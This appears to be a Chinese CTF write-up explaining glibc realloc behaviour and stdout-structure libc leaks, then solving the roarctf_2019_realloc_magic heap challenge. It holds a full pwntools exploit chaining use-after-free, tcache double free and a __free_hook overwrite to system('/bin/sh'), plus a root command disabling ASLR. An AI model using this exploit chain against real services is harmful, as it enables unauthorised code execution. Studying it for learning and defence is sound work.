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realloc函数应用&IO泄露体验

发表于:2023-09-27 15:09 作者: YameMres 阅读数(2889人)

本题主要介绍realloc函数,平时我们使用realloc最多便是在打malloc_hook-->onegadget的时候,使用realloc_hook调整onegadget的栈帧,从而getshell。

在realloc函数中,也能像malloc一样创建堆,并且比malloc麻烦一些,但是倒是挺有趣的。

realloc

realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果

  1. size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf

  2. realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size)

  3. malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit

  4. malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉

stdout泄露

这里我只给出结论,具体可以参考

  1. 设置_flags & _IO_NO_WRITES = 0

  2. 设置_flags & _IO_CURRENTLY_PUTTING = 1

  3. 设置_flags & _IO_IS_APPENDING = 1

    _flags = 0xFBAD1800
  4. 设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc)

具备以上基础我们可以来实战一题了

roarctf_2019_realloc_magic

Arch:     amd64-64-little
RELRO:   Full RELRO
Stack:   Canary found
NX:       NX enabled
PIE:     PIE enabled

64位,保护全开

前情提要:

本题部署在2.27-3ubuntu1_amd64/libc-2.27.so

建议关闭linux地址空间随机化(ASLR),方便调试。

在root用户下执行

echo 0 > /proc/sys/kernel/randomize_va_space

realloc

int re()
{
unsigned int size; // [rsp+Ch] [rbp-4h]

puts("Size?");
size = get_int();
realloc_ptr = realloc(realloc_ptr, size);
puts("Content?");
read(0, realloc_ptr, size);
return puts("Done");
}

free

int fr()
{
free(realloc_ptr);
return puts("Done");
}

存在uaf,可以利用起来

这里有个清零指针的函数

int ba()
{
if ( lock )
  exit(-1);
lock = 1;
realloc_ptr = 0LL;
return puts("Done");
}

程序特别简单,但是利用比较精妙,

在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的chunk都会写在在realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢出写

思路

通过realloc,和uaf,构造好tcache的布局

然后把_IO_2_1_stdout 链到bin里面,通过stdout泄露libc,得到free_hook

最后正常打free_hook:free_hook-->system-->/bin/sh

首先利用malloc(size)和free(size)在tcache上面先准备好

malloc(size)可以由realloc(realloc_ptr,size)得到(本文上面的第二个效果)

free(size)可以由realloc(realloc_ptr,size=0)得到(本文上面的第一个效果)

realloc(0x20,b'b')  #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
realloc(0,"")
realloc(0x90,b'b')
realloc(0,"")
realloc(0x10,b'b')
realloc(0,"")

image-20230912125521459

realloc(0x90,b'b')
for i in range(7):
  dele()
realloc(0,"")

这一步非常重要,首先将0x90的地址申请回来,赋值给realloc_ptr,在通过uaf,tcache double free free掉7次,填满tcache bin,然后再free一次,使0x90进入到unsortedbin,把main_arena链进来

为什么第八次free需要使用realloc去free呢?

因为首先是因为用来链上unsortedbin,其次用来清空掉realloc_ptr指针,不影响后面的chunk使用

image-20230912162307540

看一下此时的堆空间

image-20230912162721962

realloc(0x20,b"aaa")
pl=p64(0)*5+p64(0x81)+b"\x60\xc7"
#realloc(0x50,b'aaa')
#这里的注释是用来方便看你申请的堆放哪里去了,可以自己看一下
realloc(0x50,pl)

这里看上面图片的堆布局,如果你用了注释看了一下gdb,就知道为什么这样摆了,

后面申请的0x50是因为能刚好申请到更改unsortedbin的范围,大一点也没关系

首先改chunkB,也就是我们放入unsortedbin的chunk,改掉size值,可以结合realloc(0),多一次malloc

后面的"\x60\xc7"看图就知道了

image-20230912170239859

_IO_2_1_stdout_main_arena相差了4位,并且低三位是固定的,只需要爆破一位

(因为我关闭了ASLR,所以直接\x60\xc7打本地不用爆破一次通(x))

直接看成果图

image-20230912162925182

image-20230912162934528

可以发现成功链上了_IO_2_1_stdout_,接下来我们只需要把他申请回来就行

realloc(0,"")
realloc(0x90,b'aa')
realloc(0,"")
pl=p64(0xfbad1887)+p64(0)*3+b'\x58'
realloc(0x90,pl)

这里就涉及到_IO_2_1_stdout_泄露libc了,(下图都还没改的

0xfbad1887照着原来的就行低两位,高地址就是取我们设定好的0xFBAD1800

image-20230912170911195

image-20230912183447804

这里前面的_IO_read_xx用p64(0)填充掉,然后利用_IO_write_base设置指向想要泄露位置,比如说改成\x58

也就是

image-20230912184335327

_IO_file_jumps泄露出来,就可以计算libc,别的位置都可以,只需要是能算libc的即可

然后算出free_hook,system的libc地址,

接下来首先先用给的清理realloc_ptr的函数,将realloc_ptr置0

sla(menu,'666')

realloc(0x30,b'a')
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0x10,b'b')#2
realloc(0,"")
realloc(0xa0,b'b')
for i in range(7):
dele()
realloc(0,"")
realloc(0x30,b'a')
pl=p64(0)*7+p64(0x71)+p64(free-8)
realloc(0x70,pl)
realloc(0,"")
realloc(0xa0,b'a')
realloc(0,"")
realloc(0xa0,b'/bin/sh\x00'+p64(sys))
dele()

free-8是为了放好/bin/sh,然后顺便下一个将free_hook改成system

完整exp:

from pwn import*

def debug(cmd = 0):
      if cmd == 0:
          gdb.attach(r)
      else:
          gdb.attach(r,cmd)
      pause()

menu=b">>"
def realloc(size,con):
  r.sendlineafter(menu, b'1')
  r.sendlineafter(b'ize',str(size))
  r.sendafter(b'ent',con)
def dele():
  r.sendlineafter(menu,b'2')
   
libc=ELF("libc-2.27.so")

context(os='linux', arch='amd64',log_level='debug')


def pwn():
  realloc(0x20,b'b')
  realloc(0,"")
  realloc(0x90,b'b')
  realloc(0,"")
  realloc(0x10,b'b')
  realloc(0,"")

  realloc(0x90,b'b')
  for i in range(7):
      dele()
  realloc(0,"")
  realloc(0x20,b"aaa")
  payload=p64(0)*5+p64(0x81)+b"\x60\xc7"
  #realloc(0x50,b'aaa')
  realloc(0x50,payload)
   
  realloc(0,"")
  realloc(0x90,b'aa')
  realloc(0,"")
  payload=p64(0xfbad1886)+p64(0)*3+b'\x58'
  realloc(0x90,payload)
  #debug()
  leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps']
  print(hex(leak))
  free=leak+libc.sym['__free_hook']
  system=leak+libc.sym['system']

  r.sendlineafter(menu,'666')

  realloc(0x30,b'a')
  realloc(0,"")
  realloc(0xa0,b'a')
  realloc(0,"")
  realloc(0x10,b'b')#2
  realloc(0,"")
  realloc(0xa0,b'b')
  for i in range(7):
      dele()
  realloc(0,"")
  realloc(0x30,b'a')

  payload=p64(0)*7+p64(0x71)+p64(free-8)
  realloc(0x70,payload)
  realloc(0,"")
  realloc(0xa0,b'a')
  realloc(0,"")
  realloc(0xa0,b'/bin/sh\x00'+p64(system))
  dele()
  r.interactive()

for i in range(1):
  try:
      r=process("./pwn")
      pwn()
      break
  except:
      r.close()